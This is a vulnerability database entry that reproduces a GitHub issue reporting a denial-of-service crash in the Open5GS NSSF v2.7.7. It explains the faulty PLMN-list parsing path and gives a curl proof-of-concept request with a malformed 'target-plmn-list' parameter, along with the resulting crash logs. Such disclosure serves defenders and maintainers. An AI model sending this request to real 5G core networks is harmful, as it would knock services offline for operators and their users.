| 标题 | Open5gs NSSF v2.7.7 Denial of Service |
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| 描述 | ### Open5GS Release, Revision, or Tag
v2.7.7
### Steps to reproduce
### Description
NSSF crashes in the common discovery query parser when `target-plmn-list`
contains invalid JSON.
`ogs_sbi_discovery_option_parse_plmn_list()` calls
`ogs_sbi_parse_plmn_list(plmn_list, PlmnList)` even when JSON parsing fails and
`PlmnList` is still `NULL`, which triggers an assertion.
The same parser path is reused for `requester-plmn-list`, so the malformed
input variant is not limited to the `target-plmn-list` parameter.
### Steps to reproduce
```bash
IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nssf)
curl --http2-prior-knowledge -m 5 -sS -i --get \
"http://$IP/nnssf-nsselection/v2/network-slice-information" \
--data-urlencode 'nf-id=test-amf' \
--data-urlencode 'nf-type=AMF' \
--data-urlencode 'slice-info-request-for-pdu-session={"sNssai":{"sst":1,"sd":"000001"},"roamingIndication":"NON_ROAMING"}' \
--data-urlencode 'target-plmn-list=not-json'
```
Then check:
```bash
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' nssf
docker logs --tail 40 nssf
```
### Logs
```shell
curl: (56) Recv failure: Connection reset by peer
exited 139 2026-04-10T17:58:33.326551782Z
04/10 17:58:33.234: [sbi] FATAL: ogs_sbi_parse_plmn_list: Assertion `PlmnList' failed. (../lib/sbi/conv.c:1180)
```
### Expected behaviour
NSSF should reject malformed PLMN-list query parameters with a `400 Bad Request`
response and remain running.
### Observed Behaviour
The connection is reset and the NSSF process exits with code `139`.
### eNodeB/gNodeB
Not required.
### UE Models and versions
Not required. |
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| 来源 | ⚠️ https://github.com/open5gs/open5gs/issues/4433 |
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| 用户 | FrankyLin (UID 94345) |
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| 提交 | 2026-04-20 20時10分 (2 月前) |
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| 管理 | 2026-05-07 18時57分 (17 days later) |
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| 状态 | 已接受 |
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| VulDB条目 | 361908 [Open5GS 直到 2.7.7 NSSF /lib/sbi/conv.c ogs_sbi_parse_plmn_list 拒绝服务] |
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| 积分 | 20 |
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